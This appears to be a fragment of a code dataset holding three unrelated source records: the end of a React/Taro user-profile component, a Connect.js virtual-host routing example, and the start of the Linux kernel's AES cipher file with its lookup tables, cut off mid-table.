Component<IProps, {}> {\n render() {\n const { infoStore: { userInfo } } = this.props\n const { avatarUrl, nickName } = userInfo\n return (\n <View className='information-container'>\n <View className='information-wrap'>\n <Image className='avatar' src={avatarUrl} lazyLoad></Image>\n <View className='nickname'>\n <View>{nickName}</View>\n <View className='tag'>北京师范大学珠海分校的一名小菜鸡</View>\n </View>\n <View className='status'>\n <View className='status-wrap'>\n <View className='amount'>\n 4\n </View>\n <View>通过课程</View>\n </View>\n <View className='status-wrap'>\n <View className='amount'>\n 3\n </View>\n <View>完成题库</View>\n </View>\n <View className='status-wrap'>\n <View className='amount'>\n 12\n </View>\n <View>收藏</View>\n </View>\n </View>\n </View>\n </View>\n )\n }\n}\n\nexport default PersonalInfo as ComponentType\n"} {"text": "\n/**\n * Module dependencies.\n */\n\nvar connect = require('../');\n\nvar account = connect(function(req, res){\n var location = 'http://localhost:3000/account/' + req.headers.host.split('.localhost')[0];\n res.statusCode = 302;\n res.setHeader('Location', location);\n res.end('Moved to ' + location);\n});\n\nvar blog = connect(function(req, res){\n res.end('blog app');\n});\n\nvar main = connect(function(req, res){\n if (req.url == '/') return res.end('main app');\n if (0 == req.url.indexOf('/account/')) return res.end('viewing user account for ' + req.url.substring(9));\n res.statusCode = 404;\n res.end();\n});\n\nconnect(\n connect.logger()\n , connect.vhost('blog.localhost', blog)\n , connect.vhost('*.localhost', account)\n , main\n).listen(3000);\n"} {"text": "/*\n * Cryptographic API.\n *\n * AES Cipher Algorithm.\n *\n * Based on Brian Gladman's code.\n *\n * Linux developers:\n * Alexander Kjeldaas <astor@fast.no>\n * Herbert Valerio Riedel <hvr@hvrlab.org>\n * Kyle McMartin <kyle@debian.org>\n * Adam J. Richter <adam@yggdrasil.com> (conversion to 2.5 API).\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * ---------------------------------------------------------------------------\n * Copyright (c) 2002, Dr Brian Gladman <brg@gladman.me.uk>, Worcester, UK.\n * All rights reserved.\n *\n * LICENSE TERMS\n *\n * The free distribution and use of this software in both source and binary\n * form is allowed (with or without changes) provided that:\n *\n * 1. distributions of this source code include the above copyright\n * notice, this list of conditions and the following disclaimer;\n *\n * 2. distributions in binary form include the above copyright\n * notice, this list of conditions and the following disclaimer\n * in the documentation and/or other associated materials;\n *\n * 3. the copyright holder's name is not used to endorse products\n * built using this software without specific written permission.\n *\n * ALTERNATIVELY, provided that this notice is retained in full, this product\n * may be distributed under the terms of the GNU General Public License (GPL),\n * in which case the provisions of the GPL apply INSTEAD OF those given above.\n *\n * DISCLAIMER\n *\n * This software is provided 'as is' with no explicit or implied warranties\n * in respect of its properties, including, but not limited to, correctness\n * and/or fitness for purpose.\n * ---------------------------------------------------------------------------\n */\n\n#include <crypto/aes.h>\n#include <linux/module.h>\n#include <linux/init.h>\n#include <linux/types.h>\n#include <linux/errno.h>\n#include <linux/crypto.h>\n#include <asm/byteorder.h>\n\nstatic inline u8 byte(const u32 x, const unsigned n)\n{\n\treturn x >> (n << 3);\n}\n\nstatic const u32 rco_tab[10] = { 1, 2, 4, 8, 16, 32, 64, 128, 27, 54 };\n\nconst u32 crypto_ft_tab[4][256] = {\n\t{\n\t\t0xa56363c6, 0x847c7cf8, 0x997777ee, 0x8d7b7bf6,\n\t\t0x0df2f2ff, 0xbd6b6bd6, 0xb16f6fde, 0x54c5c591,\n\t\t0x50303060, 0x03010102, 0xa96767ce, 0x7d2b2b56,\n\t\t0x19fefee7, 0x62d7d7b5, 0xe6abab4d, 0x9a7676ec,\n\t\t0x45caca8f, 0x9d82821f, 0x40c9c989, 0x877d7dfa,\n\t\t0x15fafaef, 0xeb5959b2, 0xc947478e, 0x0bf0f0fb,\n\t\t0xecadad41, 0x67d4d4b3, 0xfda2a25f, 0xeaafaf45,\n\t\t0xbf9c9c23, 0xf7a4a453, 0x967272e4, 0x5bc0c09b,\n\t\t0xc2b7b775, 0x1cfdfde1, 0xae93933d, 0x6a26264c,\n\t\t0x5a36366c, 0x413f3f7e, 0x02f7f7f5, 0x4fcccc83,\n\t\t0x5c343468, 0xf4a5a551, 0x34e5e5d1, 0x08f1f1f9,\n\t\t0x937171e2, 0x73d8d8ab, 0x53313162, 0x3f15152a,\n\t\t0x0c040408, 0x52c7c795, 0x65232346, 0x5ec3c39d,\n\t\t0x28181830, 0xa1969637, 0x0f05050a, 0xb59a9a2f,\n\t\t0x0907070e, 0x36121224, 0x9b80801b, 0x3de2e2df,\n\t\t0x26ebebcd, 0x6927274e, 0xcdb2b27f, 0x9f7575ea,\n\t\t0x1b090912, 0x9e83831d, 0x742c2c58, 0x2e1a1a34,\n\t\t0x2d1b1b36, 0xb26e6edc, 0xee5a5ab4, 0xfba0a05b,\n\t\t0xf65252a4, 0x4d3b3b76, 0x61d6d6b7, 0xceb3b37d,\n\t\t0x7b292952, 0x3ee3e3dd, 0x712f2f5e, 0x97848413,\n\t\t0xf55353a6, 0x68d1d1b9, 0x00000000, 0x2cededc1,\n\t\t0x60202040, 0x1ffcfce3, 0xc8b1b179, 0xed5b5bb6,\n\t\t0xbe6a6ad4, 0x46cbcb8d, 0xd9bebe67, 0x4b393972,\n\t\t0xde4a4a94, 0xd44c4c98, 0xe85858b0, 0x4acfcf85,\n\t\t0x6bd0d0bb, 0x2aefefc5, 0xe5aaaa4f, 0x16fbfbed,\n\t\t0xc5434386, 0xd74d4d9a, 0x55333366, 0x94858511,\n\t\t0xcf45458a, 0x10f9f9e9, 0x06020204, 0x817f7ffe,\n\t\t0xf05050a0, 0x443c3c78, 0xba9f9f25, 0xe3a8a84b,\n\t\t0xf35151a2, 0xfea3a35d, 0xc0404080, 0x8a8f8f05,\n\t\t0xad92923f, 0xbc9d9d21, 0x48383870, 0x04f5f5f1,\n\t\t0xdfbcbc63, 0xc1b6b677, 0x75dadaaf, 0x63212142,\n\t\t0x30101020, 0x1affffe5, 0x0ef3f3fd, 0x6dd2d2bf,\n\t\t0x4ccdcd81, 0x140c0c18, 0x35131326, 0x2fececc3,\n\t\t0xe15f5fbe, 0xa2979735, 0xcc444488, 0x3917172e,\n\t\t0x57c4c493, 0xf2a7a755, 0x827e7efc, 0x473d3d7a,\n\t\t0xac6464c8, 0xe75d5dba, 0x2b191932, 0x957373e6,\n\t\t0xa06060c0, 0x98818119, 0xd14f4f9e, 0x7fdcdca3,\n\t\t0x66222244, 0x7e2a2a54, 0xab90903b, 0x8388880b,\n\t\t0xca46468c, 0x29eeeec7, 0xd3b8b86b, 0x3c141428,\n\t\t0x79dedea7, 0xe25e5ebc, 0x1d0b0b16, 0x76dbdbad,\n\t\t0x3be0e0db, 0x56323264, 0x4e3a3a74, 0x1e0a0a14,\n\t\t0xdb494992, 0x0a06060c, 0x6c242448, 0xe45c5cb8,\n\t\t0x5dc2c29f, 0x6ed3d3bd, 0xefacac43, 0xa66262c4,\n\t\t0xa8919139, 0xa4959531, 0x37e4e4d3, 0x8b7979f2,\n\t\t0x32e7e7d5, 0x43c8c88b, 0x5937376e, 0xb76d6dda,\n\t\t0x8c8d8d01, 0x64d5d5b1, 0xd24e4e9c, 0xe0a9a949,\n\t\t0xb46c6cd8, 0xfa5656ac, 0x07f4f4f3, 0x25eaeacf,\n\t\t0xaf6565ca, 0x8e7a7af4, 0xe9aeae47, 0x18080810,\n\t\t0xd5baba6f, 0x887878f0, 0x6f25254a, 0x722e2e5c,\n\t\t0x241c1c38, 0xf1a6a657, 0xc7b4b473, 0x51c6c697,\n\t\t0x23e8e8cb, 0x7cdddda1, 0x9c7474e8, 0x211f1f3e,\n\t\t0xdd4b4b96, 0xdcbdbd61, 0x868b8b0d, 0x858a8a0f,\n\t\t0x907070e0, 0x423e3e7c, 0xc4b5b571, 0xaa6666cc,\n\t\t0xd8484890, 0x05030306, 0x01f6f6f7, 0x120e0e1c,\n\t\t0xa36161c2, 0x5f35356a, 0xf95757ae, 0xd0b9b969,\n\t\t0x91868617, 0x58c1c199, 0x271d1d3a, 0xb99e9e27,\n\t\t0x38e1e1d9, 0x13f8f8eb, 0xb398982b, 0x33111122,\n\t\t0xbb6969d2, 0x70d9d9a9, 0x898e8e07, 0xa7949433,\n\t\t0xb69b9b2d, 0x221e1e3c, 0x92878715, 0x20e9e9c9,\n\t\t0x49cece87, 0xff5555aa, 0x78282850, 0x7adfdfa5,\n\t\t0x8f8c8c03, 0xf8a1a159, 0x80898909, 0x170d0d1a,\n\t\t0xdabfbf65, 0x31e6e6d7, 0xc6424284, 0xb86868d0,\n\t\t0xc3414182, 0xb0999929, 0x772d2d5a, 0x110f0f1e,\n\t\t0xcbb0b07b, 0xfc5454a8, 0xd6bbbb6d, 0x3a16162c,\n\t}, {\n\t\t0x6363c6a5, 0x7c7cf884, 0x7777ee99, 0x7b7bf68d,\n\t\t0xf2f2ff0d, 0x6b6bd6bd, 0x6f6fdeb1, 0xc5c59154,\n\t\t0x30306050, 0x01010203, 0x6767cea9, 0x2b2b567d,\n\t\t0xfefee719, 0xd7d7b562, 0xabab4de6, 0x7676ec9a,\n\t\t0xcaca8f45, 0x82821f9d, 0xc9c98940, 0x7d7dfa87,\n\t\t0xfafaef15, 0x5959b2eb, 0x47478ec9, 0xf0f0fb0b,\n\t\t0xadad41ec, 0xd4d4b367, 0xa2a25ffd, 0xafaf45ea,\n\t\t0x9c9c23bf, 0xa4a453f7, 0x7272e496, 0xc0c09b5b,\n\t\t0xb7b775c2, 0xfdfde11c, 0x93933dae, 0x26264c6a,\n\t\t0x36366c5a, 0x3f3f7e41, 0xf7f7f502, 0xcccc834f,\n\t\t0x3434685c, 0xa5a551f4, 0xe5e5d134, 0xf1f1f908,\n\t\t0x7171e293, 0xd8d8ab73, 0x31316253, 0x15152a3f,\n\t\t0x0404080c, 0xc7c79552, 0x23234665, 0xc3c39d5e,\n\t\t0x18183028, 0x969637a1, 0x05050a0f, 0x9a9a2fb5,\n\t\t0x07070e09, 0x12122436, 0x80801b9b, 0xe2e2df3d,\n\t\t0xebebcd26, 0x27274e69, 0xb2b27fcd, 0x7575ea9f,\n\t\t0x0909121b, 0x83831d9e, 0x2c2c5874, 0x1a1a342e,\n\t\t0x1b1b362d, 0x6e6edcb2, 0x5a5ab4ee, 0xa0a05bfb,\n\t\t0x5252a4f6, 0x3b3b764d, 0xd6d6b761, 0xb3b37dce,\n\t\t0x2929527b, 0xe3e3dd3e, 0x2f2f5e71, 0x84841397,\n\t\t0x5353a6f5, 0xd1d1b968, 0x00000000, 0xededc12c,\n\t\t0x20204060, 0xfcfce31f, 0xb1b179c8, 0x5b5bb6ed,\n\t\t0x6a6ad4be, 0xcbcb8d46, 0xbebe67d9, 0x3939724b,\n\t\t0x4a4a94de, 0x4c4c98d4, 0x5858b0e8, 0xcfcf854a,\n\t\t0xd0d0bb6b, 0xefefc52a, 0xaaaa4fe5, 0xfbfbed16,\n\t\t0x434386c5, 0x4d4d9ad7, 0x33336655, 0x85851194,\n\t\t0x45458acf, 0xf9f9e910, 0x02020406, 0x7f7ffe81,\n\t\t0x5050a0f0, 0x3c3c7844, 0x9f9f25ba, 0xa8a84be3,\n\t\t0x5151a2f3, 0xa3a35dfe, 0x404080c0, 0x8f8f058a,\n\t\t0x92923fad, 0x9d9d21bc, 0x38387048, 0xf5f5f104,\n\t\t0xbcbc63df, 0xb6b677c1, 0xdadaaf75, 0x21214263,\n\t\t0x10102030, 0xffffe51a, 0xf3f3fd0e, 0xd2d2bf6d,\n\t\t0xcdcd814c, 0x0c0c1814, 0x13132635, 0xececc32f,\n\t\t0x5f5fbee1, 0x979735a2, 0x444488cc, 0x17172e39,\n\t\t0xc4c49357, 0xa7a755f2, 0x7e7efc82, 0x3d3d7a47,\n\t\t0x6464c8ac, 0x5d5dbae7, 0x1919322b, 0x7373e695,\n\t\t0x6060c0a0, 0x81811998, 0x4f4f9ed1, 0xdcdca37f,\n\t\t0x22224466, 0x2a2a547e, 0x90903bab, 0x88880b83,\n\t\t0x46468cca, 0xeeeec729, 0xb8b86bd3, 0x1414283c,\n\t\t0xdedea779, 0x5e5ebce2, 0x0b0b161d, 0xdbdbad76,\n\t\t0xe0e0db3b, 0x32326456, 0x3a3a744e, 0x0a0a141e,\n\t\t0x494992db, 0x06060c0a, 0x2424486c, 0x5c5cb8e4,\n\t\t0xc2c29f5d, 0xd3d3bd6e, 0xacac43ef, 0x6262c4a6,\n\t\t0x919139a8, 0x959531a4, 0xe4e4d337, 0x7979f28b,\n\t\t0xe7e7d532, 0xc8c88b43, 0x37376e59, 0x6d6ddab7,\n\t\t0x8d8d018c, 0xd5d5b164, 0x4e4e9cd2, 0xa9a949e0,\n\t\t0x6c6cd8b4, 0x5656acfa, 0xf4f4f307, 0xeaeacf25,\n\t\t0x6565caaf, 0x7a7af48e, 0xaeae47e9, 0x08081018,\n\t\t0xbaba6fd5, 0x7878f088, 0x25254a6f, 0x2e2e5c72,\n\t\t0x1c1c3824, 0xa6a657f1, 0xb4b473c7, 0xc6c69751,\n\t\t0xe8e8cb23, 0xdddda17c, 0x7474e89c, 0x1f1f3e21,\n\t\t0x4b4b96dd, 0xbdbd61dc, 0x8b8b0d86, 0x8a8a0f85,\n\t\t0x7070e090, 0x3e3e7c42, 0xb5b571c4, 0x6666ccaa,\n\t\t0x484890d8, 0x03030605, 0xf6f6f701, 0x0e0e1c12,\n\t\t0x6161c2a3, 0x35356a5f, 0x5757aef9, 0xb9b969d0,\n\t\t0x86861791, 0xc1c19958, 0x1d1d3a27, 0x9e9e27b9,\n\t\t0xe1e1d938, 0xf8f8eb13, 0x98982bb3, 0x11112233,\n\t\t0x6969d2bb, 0xd9d9a970, 0x8e8e0789, 0x949433a7,\n\t\t0x9b9b2db6, 0x1e1e3c22, 0x87871592, 0xe9e9c920,\n\t\t0xcece8749, 0x5555aaff, 0x28285078, 0xdfdfa57a,\n\t\t0x8c8c038f, 0xa1a159f8, 0x89890980, 0x0d0d1a17,\n\t\t0xbfbf65da, 0xe6e6d731, 0x424284c6, 0x6868d0b8,\n\t\t0x414182c3, 0x999929b0, 0x2d2d5a77, 0x0f0f1e11,\n\t\t0xb0b07bcb, 0x5454a8fc, 0xbbbb6dd6, 0x16162c3a,\n\t}, {\n\t\t0x63c6a563, 0x7cf8847c, 0x77ee9977, 0x7bf68d7b,\n\t\t0xf2ff0df2, 0x6bd6bd6b, 0x6fdeb16f, 0xc59154c5,\n\t\t0x30605030, 0x01020301, 0x67cea967, 0x2b567d2b,\n\t\t0xfee719fe, 0xd7b562d7, 0xab4de6ab, 0x76ec9a76,\n\t\t0xca8f45ca, 0x821f9d82, 0xc98940c9, 0x7dfa877d,\n\t\t0xfaef15fa, 0x59b2eb59, 0x478ec947, 0xf0fb0bf0,\n\t\t0xad41ecad, 0xd4b367d4, 0xa25ffda2, 0xaf45eaaf,\n\t\t0x9c23bf9c, 0xa453f7a4, 0x72e49672, 0xc09b5bc0,\n\t\t0xb775c2b7, 0xfde11cfd, 0x933dae93, 0x264c6a26,\n\t\t0x366c5a36, 0x3f7e413f, 0xf7f502f7, 0xcc834fcc,\n\t\t0x34685c34, 0xa551f4a5, 0xe5d134e5, 0xf1f908f1,\n\t\t0x71e29371, 0xd8ab73d8, 0x31625331, 0x152a3f15,\n\t\t0x04080c04, 0xc79552c7, 0x23466523, 0xc39d5ec3,\n\t\t0x18302818, 0x9637a196, 0x050a0f05, 0x9a2fb59a,\n\t\t0x070e0907, 0x12243612, 0x801b9b80, 0xe2df3de2,\n\t\t0xebcd26eb, 0x274e6927, 0xb27fcdb2, 0x75ea9f75,\n\t\t0x09121b09, 0x831d9e83, 0x2c58742c, 0x1a342e1a,\n\t\t0x1b362d1b, 0x6edcb26e, 0x5ab4ee5a, 0xa05bfba0,\n\t\t0x52a4f652, 0x3b764d3b, 0xd6b761d6, 0xb37dceb3,\n\t\t0x29527b29, 0xe3dd3ee3, 0x2f5e712f, 0x84139784,\n\t\t0x53a6f553, 0xd1b968d1, 0x00000000, 0xedc12ced,\n\t\t0x20406020, 0xfce31ffc, 0xb179c8b1, 0x5bb6ed5b,\n\t\t0x6ad4be6a, 0xcb8d46cb, 0xbe67d9be, 0x39724b39,\n\t\t0x4a94de4a, 0x4c98d44c, 0x58b0e858, 0xcf854acf,\n\t\t0xd0bb6bd0, 0xefc52aef, 0xaa4fe5aa, 0xfbed16fb,\n\t\t0x4386c543, 0x4d9ad74d, 0x33665533, 0x85119485,\n\t\t0x458acf45, 0xf9e910f9, 0x02040602, 0x7ffe817f,\n\t\t0x50a0f050, 0x3c78443c, 0x9f25ba9f, 0xa84be3a8,\n\t\t0x51a2f351, 0xa35dfea3, 0x4080c040, 0x8f058a8f,\n\t\t0x923fad92, 0x9d21bc9d, 0x38704838, 0xf5f104f5,\n\t\t0xbc63dfbc, 0xb677c1b6, 0xdaaf75da, 0x21426321,\n\t\t0x10203010, 0xffe51aff, 0xf3fd0ef3, 0xd2bf6dd2,\n\t\t0xcd814ccd, 0x0c18140c, 0x13263513, 0xecc32fec,\n\t\t0x5fbee15f, 0x9735a297, 0x4488cc44, 0x172e3917,\n\t\t0xc49357c4, 0xa755f2a7, 0x7efc827e, 0x3d7a473d,\n\t\t0x64c8ac64, 0x5dbae75d, 0x19322b19, 0x73e69573,\n\t\t0x60c0a060, 0x81199881, 0x4f9ed14f, 0xdca37fdc,\n\t\t0x22446622, 0x2a547e2a, 0x903bab90, 0x880b8388,\n\t\t0x468cca46, 0xeec729ee, 0xb86bd3b8, 0x14283c14,\n\t\t0xdea779de, 0x5ebce25e, 0x0b161d0b, 0xdbad76db,\n\t\t0xe0db3be0, 0x32645632, 0x3a744e3a, 0x0a141e0a,\n\t\t0x4992db49, 0x060c0a06, 0x24486c24, 0x5cb8e45c,\n\t\t0xc29f5dc2, 0xd3bd6ed3, 0xac43efac, 0x62c4a662,\n\t\t0x9139a891, 0x9531a495, 0xe4d337e4, 0x79f28b79,\n\t\t0xe7d532e7, 0xc88b43c8, 0x376e5937, 0x6ddab76d,\n\t\t0x8d018c8d, 0xd5b164d5, 0x4e9cd24e, 0xa949e0a9,\n\t\t0x6cd8b46c, 0x56acfa56, 0xf4f307f4, 0xeacf25ea,\n\t\t0x65caaf65, 0x7af48e7a, 0xae47e9ae, 0x08101808,\n\t\t0xba6fd5ba, 0x78f08878, 0x254a6f25, 0x2e5c722e,\n\t\t0x1c38241c, 0xa657f1a6, 0xb473c7b4, 0xc69751c6,\n\t\t0xe8cb23e8, 0xdda17cdd, 0x74e89c74, 0x1f3e211f,\n\t\t0x4b96dd4b, 0xbd61dcbd, 0x8b0d868b, 0x8a0f858a,\n\t\t0x70e09070, 0x3e7c423e, 0xb571c4b5, 0x66ccaa66,\n\t\t0x4890d848, 0x03060503, 0xf6f701f6, 0x0e1c120e,\n\t\t0x61c2a361, 0x356a5f35, 0x57aef957, 0xb969d0b9,\n\t\t0x86179186, 0xc19958c1, 0x1d3a271d, 0x9e27b99e,\n\t\t0xe1d938e1, 0xf8eb13f8, 0x982bb398, 0x11223311,\n\t\t0x69d2bb69, 0xd9a970d9, 0x8e07898e, 0x9433a794,\n\t\t0x9b2db69b, 0x1e3c221e, 0x87159287, 0xe9c920e9,\n\t\t0xce8749ce, 0x55aaff55, 0x28507828, 0xdfa57adf,\n\t\t0x8c038f8c, 0xa159f8a1, 0x89098089, 0x0d1a170d,\n\t\t0xbf65dabf, 0xe6d731e6, 0x4284c642, 0x68d0b868,\n\t\t0x4182c341, 0x9929b099, 0x2d5a772d, 0x0f1e110f,\n\t\t0xb07bcbb0, 0x54a8fc54, 0xbb6dd6bb, 0x162c3a16,\n\t}, {\n\t\t0xc6a56363, 0xf8847c7c, 0xee997777, 0xf68d7b7b,\n\t\t0xff0df2f2, 0xd6bd6b6b, 0xdeb16f6f, 0x9154c5c5,\n\t\t0x60503030, 0x02030101, 0xcea96767, 0x567d2b2b,\n\t\t0xe719fefe, 0xb562d7d7, 0x4de6abab, 0xec9a7676,\n\t\t0x8f45caca, 0x1f9d8282, 0x8940c9c9, 0xfa877d7d,\n\t\t0xef15fafa, 0xb2eb5959, 0x8ec94747, 0xfb0bf0f0,\n\t\t0x41ecadad, 0xb367d4d4, 0x5ffda2a2, 0x45eaafaf,\n\t\t0x23bf9c9c, 0x53f7a4a4, 0xe4967272, 0x9b5bc0c0,\n\t\t0x75c2b7b7, 0xe11cfdfd, 0x3dae9393, 0x4c6a2626,\n\t\t0x6c5a3636, 0x7e413f3f, 0xf502f7f7, 0x834fcccc,\n\t\t0x685c3434, 0x51f4a5a5, 0xd134e5e5, 0xf908f1f1,\n\t\t0xe2937171, 0xab73d8d8, 0x62533131, 0x2a3f1515,\n\t\t0x080c0404, 0x9552c7c7, 0x46652323, 0x9d5ec3c3,\n\t\t0x30281818, 0x37a19696, 0x0a0f0505, 0x2fb59a9a,\n\t\t0x0e090707, 0x24361212, 0x1b9b8080, 0xdf3de2e2,\n\t\t0xcd26ebeb, 0x4e692727, 0x7fcdb2b2, 0xea9f7575,\n\t\t0x121b0909, 0x1d9e8383, 0x58742c2c, 0x342e1a1a,\n\t\t0x362d1b1b, 0xdcb26e6e, 0xb4ee5a5a, 0x5bfba0a0,\n\t\t0xa4f65252, 0x764d3b3b, 0xb761d6d6, 0x7dceb3b3,\n\t\t0x527b2929, 0xdd3ee3e3, 0x5e712f2f, 0x13978484,\n\t\t0xa6f55353, 0xb968d1d1, 0x00000000, 0xc12ceded,\n\t\t0x40602020, 0xe31ffcfc, 0x79c8b1b1, 0xb6ed5b5b,\n\t\t0xd4be6a6a, 0x8d46cbcb, 0x67d9bebe, 0x724b3939,\n\t\t0x94de4a4a, 0x98d44c4c, 0xb0e85858, 0x854acfcf,\n\t\t0xbb6bd0d0, 0xc52aefef, 0x4fe5aaaa, 0xed16fbfb,\n\t\t0x86c54343, 0x9ad74d4d, 0x66553333, 0x11948585,\n\t\t0x8acf4545, 0xe910f9f9, 0x04060202, 0xfe817f7f,\n\t\t0xa0f05050, 0x78443c3c, 0x25ba9f9f, 0x4be3a8a8,\n\t\t0xa2f35151, 0x5dfea3a3, 0x80c04040, 0x058a8f8f,\n\t\t0x3fad9292, 0x21bc9d9d, 0x70483838, 0xf104f5f5,\n\t\t0x63dfbcbc, 0x77c1b6b6, 0xaf75dada, 0x42632121,\n\t\t0x20301010, 0xe51affff, 0xfd0ef3f3, 0xbf6dd2d2,\n\t\t0x814ccdcd, 0x18140c0c, 0x26351313, 0xc32fecec,\n\t\t0xbee15f5f, 0x35a29797, 0x88cc4444, 0x2e391717,\n\t\t0x9357c4c4, 0x55f2a7a7, 0xfc827e7e, 0x7a473d3d,\n\t\t0xc8ac6464, 0xbae75d5d, 0x322b1919, 0xe6957373,\n\t\t0xc0a06060, 0x19988181, 0x9ed14f4f, 0xa37fdcdc,\n\t\t0x44662222, 0x547e2a2a, 0x3bab9090, 0x0b838888,\n\t\t0x8cca4646, 0xc729eeee, 0x6bd3b8b8, 0x283c1414,\n\t\t0xa779dede, 0xbce25e5e, 0x161d0b0b, 0xad76dbdb,\n\t\t0xdb3be0e0, 0x64563232, 0x744e3a3a, 0x141e0a0a,\n\t\t0x92db4949, 0x0c0a0606, 0x486c2424, 0xb8e45c5c,\n\t\t0x9f5dc2c2, 0xbd6ed3d3, 0x43efacac, 0xc4a66262,\n\t\t0x39a89191, 0x31a49595, 0xd337e4e4, 0xf28b7979,\n\t\t0xd532e7e7, 0x8b43c8c8, 0x6e593737, 0xdab76d6d,\n\t\t0x018c8d8d, 0xb164d5d5, 0x9cd24e4e, 0x49e0a9a9,\n\t\t0xd8b46c6c, 0xacfa5656, 0xf307f4f4, 0xcf25eaea,\n\t\t0xcaaf6565, 0xf48e7a7a, 0x47e9aeae, 0x10180808,\n\t\t0x6fd5baba, 0xf0887878, 0x4a6f2525, 0x5c722e2e,\n\t\t0x38241c1c, 0x57f1a6a6, 0x73c7b4b4, 0x9751c6c6,\n\t\t0xcb23e8e8, 0xa17cdddd, 0xe89c7474, 0x3e211f1f,\n\t\t0x96dd4b4b, 0x61dcbdbd, 0x0d868b8b, 0x0f858a8a,\n\t\t0xe0907070, 0x7c423e3e, 0x71c4b5b5, 0xccaa6666,\n\t\t0x90d84848, 0x06050303, 0xf701f6f6, 0x1c120e0e,\n\t\t0xc2a36161, 0x6a5f3535, 0xaef95757, 0x69d0b9b9,\n\t\t0x17918686, 0x9958c1c1, 0x3a271d1d, 0x27b99e9e,\n\t\t0xd938e1e1, 0xeb13f8f8, 0x2bb39898, 0x22331111,\n\t\t0xd2bb6969, 0xa970d9d9, 0x07898e8e, 0x33a79494,\n\t\t0x2db69b9b, 0x3c221e1e, 0x15928787, 0xc920e9e9,\n\t\t0x8749cece, 0xaaff5555, 0x50782828, 0xa57adfdf,\n\t\t0x038f8c8c, 0x59f8a1a1, 0x09808989, 0x1a170d0d,\n\t\t0x65dabfbf, 0xd731e6e6, 0x84c64242, 0xd0b86868,\n\t\t0x82c34141, 0x29b09999, 0x5a772d2d, 0x1e110f0f,\n\t\t0x7bcbb0b0, 0xa8fc5454, 0x6dd6bbbb, 0x2c3a1616,\n\t}\n};\n\nconst u32 crypto_fl_tab[4][256] = {\n\t{\n\t\t0x00000063, 0x0000007c, 0x00000077, 0x0000007b,\n\t\t0x000000f2, 0x0000006b, 0x0000006f, 0x000000c5,\n\t\t0x00000030, 0x00000001, 0x00000067, 0x0000002b,\n\t\t0x000000fe, 0x000000d7, 0x000000ab, 0x00000076,\n\t\t0x000000ca, 0x00000082, 0x000000c9, 0x0000007d,\n\t\t0x000000fa, 0x00000059, 0x00000047, 0x000000f0,\n\t\t0x000000ad, 0x000000d4, 0x000000a2, 0x000000af,\n\t\t0x0000009c, 0x000000a4, 0x00000072, 0x000000c0,\n\t\t0x000000b7, 0x000000fd, 0x00000093, 0x00000026,\n\t\t0x00000036, 0x0000003f, 0x000000f7, 0x000000cc,\n\t\t0x00000034, 0x000000a5, 0x000000e5, 0x000000f1,\n\t\t0x00000071, 0x000000d8, 0x00000031, 0x00000015,\n\t\t0x00000004, 0x000000c7, 0x00000023, 0x000000c3,\n\t\t0x00000018, 0x00000096, 0x00000005, 0x0000009a,\n\t\t0x00000007, 0x00000012, 0x00000080, 0x000000e2,\n\t\t0x000000eb, 0x00000027, 0x000000b2, 0x00000075,\n\t\t0x00000009, 0x00000083, 0x0000002c, 0x0000001a,\n\t\t0x0000001b, 0x0000006e, 0x0000005a, 0x000000a0,\n\t\t0x00000052, 0x0000003b, 0x000000d6, 0x000000b3,\n\t\t0x00000029, 0x000000e3, 0x0000002f, 0x00000084,\n\t\t0x00000053, 0x000000d1, 0x00000000, 0x000000ed,\n\t\t0x00000020, 0x000000fc, 0x000000b1, 0x0000005b,\n\t\t0x0000006a, 0x000000cb, 0x000000be, 0x00000039,\n\t\t0x0000004a, 0x0000004c, 0x00000058, 0x000000cf,\n\t\t0x000000d0, 0x000000ef, 0x000000aa, 0x000000fb,\n\t\t0x00000043, 0x0000004d, 0x00000033, 0x00000085,\n\t\t0x00000045, 0x000000f9, 0x00000002, 0x0000007f,\n\t\t0x00000050, 0x0000003c, 0x0000009f, 0x000000a8,\n\t\t0x00000051, 0x000000a3, 0x00000040, 0x0000008f,\n\t\t0x00000092, 0x0000009d, 0x00000038, 0x000000f5,\n\t\t0x000000bc, 0x000000b6, 0x000000da, 0x00000021,\n\t\t0x00000010, 0x000000ff, 0x000000f3, 0x000000d2,\n\t\t0x000000cd, 0x0000000c, 0x00000013, 0x000000ec,\n\t\t0x0000005f, 0x00000097, 0x00000044, 0x00000017,\n\t\t0x000000c4, 0x000000a7, 0x0000007e, 0x0000003d,\n\t\t0x00000064, 0x0000005d, 0x00000019, 0x00000073,\n\t\t0x00000060, 0x00000081, 0x0000004f, 0x000000dc,\n\t\t0x00000022, 0x0000002a, 0x00000090, 0x00000088,\n\t\t0x00000046, 0x000000ee, 0x000000b8, 0x00000014,\n\t\t0x000000de, 0x0000005e, 0x0000000b, 0x000000db,\n\t\t0x000000e0, 0x00000032, 0x0000003a, 0x0000000a,\n\t\t0x00000049, 0x00000006, 0x00000024, 0x0000005c,\n\t\t0x000000c2, 0x000000d3, 0x000000ac, 0x00000062,\n\t\t0x00000091, 0x00000095, 0x000000e4, 0x00000079,\n\t\t0x000000e7, 0x000000c8, 0x00000037, 0x0000006d,\n\t\t0x0000008d, 0x000000d5, 0x0000004e, 0x000000a9,\n\t\t0x0000006c, 0x00000056, 0x000000f4, 0x000000ea,\n\t\t0x00000065, 0x0000007a, 0x000000ae, 0x00000008,\n\t\t0x000000ba, 0x00000078, 0x00000025, 0x0000002e,\n\t\t0x0000001c, 0x000000a6, 0x000000b4, 0x000000c6,\n\t\t0x000000e8, 0x000000dd, 0x00000074, 0x0000001f,\n\t\t0x0000004b, 0x000000bd, 0x0000008b, 0x0000008a,\n\t\t0x00000070, 0x0000003e, 0x000000b5, 0x00000066,\n\t\t0x00000048, 0x00000003, 0x000000f6, 0x0000000e,\n\t\t0x00000061, 0x00000035, 0x00000057, 0x000000b9,\n\t\t0x00000086, 0x000000c1, 0x0000001d, 0x0000009e,\n\t\t0x000000e1, 0x000000f8, 0x00000098, 0x00000011,\n\t\t0x00000069, 0x000000d9, 0x0000008e, 0x00000094,\n\t\t0x0000009b, 0x0000001e, 0x00000087, 0x000000e9,\n\t\t0x000000ce, 0x00000055, 0x00000028, 0x000000df,\n\t\t0x0000008c, 0x000000a1, 0x00000089, 0x0000000d,\n\t\t0x000000bf, 0x000000e6, 0x00000042, 0x00000068,\n\t\t0x00000041, 0x00000099, 0x0000002d, 0x0000000f,\n\t\t0x000000b0, 0x00000054, 0x000000bb, 0x00000016,\n\t}, 